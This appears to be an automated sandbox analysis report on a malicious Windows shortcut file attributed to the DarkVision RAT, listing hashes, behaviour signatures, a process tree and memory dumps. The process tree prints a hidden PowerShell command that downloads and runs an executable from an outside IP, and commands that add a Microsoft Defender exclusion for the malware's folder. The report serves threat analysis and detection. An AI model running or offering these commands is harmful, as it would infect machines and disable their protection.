Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-01-2025 03:00

General

  • Target

    aeed70a3f936b699e93f18dfc5b4a582a6a08be7d52d8e6229754f96205aecb2.lnk

  • Size

    2KB

  • MD5

    7f070dfbaa6893bb2effac0f2320a1d7

  • SHA1

    293e7f6f6e70a0c7699215b3402dc5ff2bb2bfaa

  • SHA256

    aeed70a3f936b699e93f18dfc5b4a582a6a08be7d52d8e6229754f96205aecb2

  • SHA512

    720b2a90dd051160aeaa1a11a70433213b96f04e8d160c55c699f4fd6af7f1c07db61e110e684d9ce91ad79e987bd809497eb2d52ac2f3bd96cdb289c443b883

Malware Config

Extracted

Family

darkvision

C2

acuweld.ddns.net

Signatures

  • DarkVision Rat

    DarkVision Rat is a trojan written in C++.

  • Darkvision family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\aeed70a3f936b699e93f18dfc5b4a582a6a08be7d52d8e6229754f96205aecb2.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri http://87.120.113.91/image.exe -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\Admin\AppData\Local\Temp\file.exe' }"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4788
      • C:\Users\Admin\AppData\Local\Temp\file.exe
        "C:\Users\Admin\AppData\Local\Temp\file.exe"
        3⤵
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4756
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\windows'
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2172
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\windows'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1828
        • C:\ProgramData\windows\windows.exe
          "C:\ProgramData\windows\windows.exe" {05756468-6434-465A-9313-8CAA82F857B2}
          4⤵
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:2708
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\windows'
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1516
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\windows'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2828
          • C:\Windows\explorer.exe
            "C:\Windows\explorer.exe"
            5⤵
            • Checks BIOS information in registry
            • Drops startup file
            PID:3560

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    556084f2c6d459c116a69d6fedcc4105

    SHA1

    633e89b9a1e77942d822d14de6708430a3944dbc

    SHA256

    88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

    SHA512

    0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    eb4d127b8a6f84a1cee423c5e3e3a51d

    SHA1

    c55263a8ff097067f2393ce2120801a445fd1949

    SHA256

    d73b077e2ae7f7608ebf774fb83ab13c7bc7a5c3e4d9d96fda2bf695dc698514

    SHA512

    45a52004f8b63ac089de017437ba0e03335f18469942795d36ce3c3d017f842e582103c91e07d9af0fa8dfbbe6f2f68f2fac91383a48b6535952a8630911f21e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    ccdcc9463240308209faf0e18086868e

    SHA1

    5c3a3813f02e9575888d61a81eb5777352336450

    SHA256

    bb9b166206e40b8e4a9fd52ad1a5c3314d242967e6bedda4a38c9ec33d011751

    SHA512

    6f8180054490ca0ebcf90c77d5f8f21f70d69cd351143659d3907a41bf8c6be61f8dd2ce255e3a82ddcfba787e9fd20caa98040a5922120e6325b13f2a333893

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kfeo4se4.ag4.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\file.exe

    Filesize

    4.0MB

    MD5

    d37285bf0331c7514e5e4cec0fbe647c

    SHA1

    2a83f532b50fb5acd4f417c2ce51a1eac1bb9c08

    SHA256

    f96c269716f360aa2fbb1926dda79c3ff47ea7d8ec6615cde06b205d28400f79

    SHA512

    d1a9f56a504bc6d13a0af3ac1caf97d9bc86ace60577b87a2f7143c3c94ade29605559b9122c19d2a8ca2f817d6efe123a24c75012b9c22241fbcdf2938b1d81

  • memory/2708-107-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/2708-114-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/2708-110-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/2708-109-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/2708-112-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/2708-113-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/2708-111-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/2708-108-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/2708-34-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/2708-105-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/2708-104-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/2708-103-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/2708-102-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/2708-101-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/2708-100-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/2708-99-0x00007FF75D370000-0x00007FF75D779000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-72-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-64-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-81-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-82-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-78-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-75-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-73-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-71-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-70-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-46-0x0000000000590000-0x0000000000591000-memory.dmp

    Filesize

    4KB

  • memory/3560-69-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-67-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-66-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-65-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-63-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-59-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-58-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-56-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-68-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-91-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-62-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-60-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-54-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-80-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-98-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-79-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-77-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-76-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-74-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-61-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-55-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-57-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/3560-47-0x0000000002910000-0x0000000002D19000-memory.dmp

    Filesize

    4.0MB

  • memory/4756-32-0x00007FF6E41B0000-0x00007FF6E45B9000-memory.dmp

    Filesize

    4.0MB

  • memory/4756-23-0x00007FF6E41B0000-0x00007FF6E45B9000-memory.dmp

    Filesize

    4.0MB

  • memory/4788-2-0x00007FFF66363000-0x00007FFF66365000-memory.dmp

    Filesize

    8KB

  • memory/4788-26-0x00007FFF66360000-0x00007FFF66E21000-memory.dmp

    Filesize

    10.8MB

  • memory/4788-14-0x00007FFF66360000-0x00007FFF66E21000-memory.dmp

    Filesize

    10.8MB

  • memory/4788-13-0x00007FFF66360000-0x00007FFF66E21000-memory.dmp

    Filesize

    10.8MB

  • memory/4788-9-0x000002127B930000-0x000002127B952000-memory.dmp

    Filesize

    136KB